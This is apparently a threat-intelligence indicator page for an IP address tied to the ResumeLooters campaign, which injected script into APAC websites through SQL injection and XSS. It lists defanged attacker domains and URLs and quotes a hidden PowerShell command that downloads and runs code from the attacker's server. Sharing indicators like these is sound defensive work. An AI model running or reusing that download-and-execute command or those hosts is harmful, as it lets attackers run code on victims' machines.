139.84.130[.]232IP address
Reported by 1 independent source · first reported by Group-IB · last reported
Last reported 2 years ago
What the reports say
1 report, newest first · the exact sentence from each-
Dead-end job: ResumeLooters infect websites in APAC through SQL injection and XSS attacks“powershell.exe -nop -w hidden -c IEX ((new-object Net.WebClient).DownloadString('hxxp://139.84.130[.]232:8080/CcrN3QqWOeRx/KAGctYUci'));IEX ((new-object Net.WebClient).DownloadString('hxxp://139.84.130.232:8080/CcrN3QqWOeRx/iDDHJOuzw/1'));IEX ((new-object Net.WebClient).DownloadStr…”
Indicators reported together
named in the same reports- window.location[.]hostin 1 report
- 8r[.]aein 1 report
- hxxps://jobsin 1 report
- jobsin 1 report
- admin.cloudnetsafe[.]comin 1 report
- hxxp://139.84.130[.]232:8080/CcrN3QqWOeRx/KAGctYUciin 1 report
- hxxp://139.84.130[.]232:8080/CcrN3QqWOeRx/iDDHJOuzw/1in 1 report
- hxxp://139.84.130[.]232:8080/CcrN3QqWOeRxin 1 report
- hxxp://admin.cloudnetsofe[.]com/in 1 report
- admin.cloudnetsofe[.]comin 1 report
- hxxps://www.google[.]com/recaptcha/api.js?hl=vi%E2%80%9Din 1 report
- hxxps://sb8[.]co/online.htm%E2%80%99;document.body.appendChildin 1 report
- sb8[.]coin 1 report
- hxxps://139.84.168[.]189:3000/jquery.js%E2%80%99;document.body.appendChildin 1 report
- 139.84.168[.]189in 1 report
- hxxps://admin.cloudnetsofe[.]com/if.js%E2%80%99;document.body.appendChildin 1 report
- hxxps://sb8[.]co/online.htmin 1 report
- hxxps://api.qu3[.]cc/?js=sb8.co%E2%80%9Din 1 report
- api.qu3[.]ccin 1 report
- hxxps://sb8[.]co/jquery3.6.3.js%E2%80%9Din 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.